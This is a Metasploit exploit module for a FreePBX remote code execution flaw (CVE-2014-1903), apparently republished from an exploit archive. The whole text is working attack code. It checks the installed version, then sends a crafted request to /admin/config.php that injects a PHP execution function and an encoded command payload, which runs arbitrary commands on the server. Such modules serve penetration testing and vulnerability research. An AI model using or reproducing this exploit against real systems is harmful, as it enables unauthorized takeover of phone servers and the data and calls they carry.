FreePBX – ‘config.php’ Remote Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "FreePBX config.php Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11. It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php" parameters "function" and "args". }, 'License' => MSF_LICENSE, 'Author' => [ 'i-Hmx', # Vulnerability discovery '0x00string', # PoC 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ ['CVE', '2014-1903'], ['OSVDB', '103240'], ['EDB', '32214'], ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ ['FreePBX', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mar 21 2014", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/']) ], self.class) register_advanced_options( [ OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru']) ], self.class) end def check vprint_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "admin", "CHANGES") }) if res and res.code == 200 and res.body =~ /^(.*)$/ version = $1 else return Exploit::CheckCode::Unknown end vprint_status("#{peer} - Version #{version} detected") if version =~ /2\.(9|10|11)\.0/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit rand_data = rand_text_alpha_lower(rand(10) + 5) print_status("#{peer} - Sending payload") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "admin", "config.php"), 'vars_get' => { "display" => rand_data, "handler" => "api", "function" => datastore['PHPFUNC'], "args" => payload.encoded } }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response, exploit probably failed!") end end end |